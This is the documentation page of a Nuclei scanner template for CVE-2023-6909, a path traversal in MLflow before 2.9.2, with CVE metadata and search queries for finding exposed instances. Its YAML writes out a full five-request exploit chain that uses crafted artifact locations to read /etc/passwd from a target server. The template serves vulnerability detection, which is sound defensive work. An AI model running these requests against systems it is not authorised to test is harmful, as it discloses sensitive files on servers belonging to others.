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Mlflow <2.9.2 - Path Traversal

ID: CVE-2023-6909

Severity: high

Author: Hyunsoo-ds

Tags: cve,cve2023,mlflow,lfi,intrusive,lfprojects

Description

Section titled “Description”

Path Traversal: ’\..\filename’ in GitHub repository mlflow/mlflow prior to 2.9.2.

YAML Source

Section titled “YAML Source”
id: CVE-2023-6909


info:
  name: Mlflow <2.9.2 - Path Traversal
  author: Hyunsoo-ds
  severity: high
  description: |
    Path Traversal: '\..\filename' in GitHub repository mlflow/mlflow prior to 2.9.2.
  impact: |
    Successful exploitation could be lead to disclose of sensitive information such as SSH Keys or Internal configurations.
  remediation: |
    To fix this vulnerability, it is important to update the mlflow package to the latest version 2.10.0.
  reference:
    - https://huntr.com/bounties/11209efb-0f84-482f-add0-587ea6b7e850/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6909
    - https://github.com/mlflow/mlflow/commit/1da75dfcecd4d169e34809ade55748384e8af6c1
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-6909
    cwe-id: CWE-29
    epss-score: 0.00494
    epss-percentile: 0.76167
    cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 5
    vendor: lfprojects
    product: mlflow
    shodan-query: "http.title:\"mlflow\""
    fofa-query:
      - title="mlflow"
      - app="mlflow"
    google-query: intitle:"mlflow"
  tags: cve,cve2023,mlflow,lfi,intrusive,lfprojects


http:
  - raw:
      - |
        POST /ajax-api/2.0/mlflow/experiments/create HTTP/1.1
        Host: {{Hostname}}


        {"name" : "{{randstr}}", "artifact_location": "http:///?/../../../../../../../../../../../../../../etc/"}


      - |
        POST /api/2.0/mlflow/runs/create HTTP/1.1
        Host: {{Hostname}}


        {"experiment_id": "{{EXPERIMENT_ID}}"}


      - |
        POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
        Host: {{Hostname}}


        {"name": "{{randstr}}"}


      - |
        POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
        Host: {{Hostname}}


        {"name" : "{{randstr}}", "run_id": "{{RUN_ID}}", "source" : "file:///etc/"}


      - |
        GET /model-versions/get-artifact?path=passwd&name={{randstr}}&version=1 HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"


      - type: word
        part: header_5
        words:
          - "filename=passwd"
          - "application/octet-stream"
        condition: and


      - type: status
        status:
          - 200


    extractors:
      - type: json
        part: body_1
        name: EXPERIMENT_ID
        group: 1
        json:
          - '.experiment_id'
        internal: true


      - type: json
        part: body_2
        name: RUN_ID
        group: 1
        json:
          - '.run.info.run_id'
        internal: true
# digest: 490a004630440220513a0c73848234409f085e1c46e2d5fcba5be3509ad353e4ec01b324d1519774022038e126dd68e4b2831d02a56aeef58d1ea388941b6551a14123987092a091afcd:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-6909.yaml"

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